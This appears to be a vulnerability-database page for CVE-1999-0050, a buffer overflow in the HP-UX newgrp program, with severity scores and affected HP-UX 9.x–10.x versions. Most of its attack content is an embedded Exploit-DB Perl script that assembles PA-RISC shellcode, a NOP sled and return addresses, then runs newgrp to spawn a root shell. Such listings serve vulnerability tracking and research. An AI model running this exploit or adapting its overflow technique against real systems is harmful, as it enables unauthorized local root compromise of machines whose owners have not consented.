CVE-1999-0050 : Detail

CVE-1999-0050

0.06%V3
Local
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in HP-UX newgrp program.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19535

Publication date : 1996-11-30 23h00 +00:00
Author : SOD
EDB Verified : Yes

#source: https://www.securityfocus.com/bid/683/info # #Due to insufficient bounds checking on user supplied arguments, it is possible to overflow an internal buffer and execute arbitrary code as root. #!/usr/bin/perl use FileHandle; sub h2cs { local($stuff)=@_; local($rv); while($stuff !~ /^$/) { $bob=$stuff; $bob =~ s/^(..).*$/$1/; $stuff =~ s/^..//; $rv.=chr(oct("0x${bob}")); } return $rv; } open(PIPE,"uname -r|"); chop($rev=<PIPE>); close(PIPE); $rev =~ s/^.*\.(.*)\..*$/$1/; if ($rev eq "10") { $offset=2074; $prealign=""; $postalign="P"; $pcoq=h2cs("7b03A00C"); } else { $offset=2074; $prealign=""; $postalign="P"; $pcoq=h2cs("7b03300C"); } $nop=h2cs("08210280"); $code=""; # Oddly enough, real uid already == 0 # Could probably make a + + link bug out of this, too.. #$code.=h2cs("34160506"); # LDI 643,r22 #$code.=h2cs("96d60534"); # SUBI 666,r22,r22 #$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 #$code.=h2cs("e420e008"); # BLE 4(sr7,r1) #$code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0 $code.=h2cs("e83f1ffd"); # BL .+8,r1 $code.=h2cs("08210280"); # NOP $code.=h2cs("34020102"); # LDI 129,rp $code.=h2cs("08410402"); # SUB r1,rp,rp $code.=h2cs("60400162"); # STB r0,177(rp) $code.=h2cs("b45a0154"); # ADDI 170,rp,arg0 $code.=h2cs("0b390299"); # XOR arg0,arg0,arg0 $code.=h2cs("0b180298"); # XOR arg0,arg0,arg0 $code.=h2cs("341604be"); # LDI 607,r22 $code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 $code.=h2cs("e420e008"); # BLE 4(sr7,r1) $code.=h2cs("96d60534"); # SUB 666,r22,r22 $code.=h2cs("deadcafe"); # Illegal instruction -- dump core if exec fails $data="/bin/sh."; # Data stuff $codedata=$code.$data; $num=int(($offset-length($code)-length($data)-4)/4); $pre="$nop"x$num; $of=$prealign; $of.=$pre.$code.$data.$postalign.$pcoq; exec("/bin/newgrp","$of");

Products Mentioned

Configuraton 0

Hp>>Hp-ux >> Version 9.00

Hp>>Hp-ux >> Version 9.01

Hp>>Hp-ux >> Version 9.03

Hp>>Hp-ux >> Version 9.04

Hp>>Hp-ux >> Version 9.05

Hp>>Hp-ux >> Version 9.06

Hp>>Hp-ux >> Version 9.07

Hp>>Hp-ux >> Version 9.08

Hp>>Hp-ux >> Version 9.09

Hp>>Hp-ux >> Version 9.10

Hp>>Hp-ux >> Version 10.00

Hp>>Hp-ux >> Version 10.01

Hp>>Hp-ux >> Version 10.10

Hp>>Hp-ux >> Version 10.20

References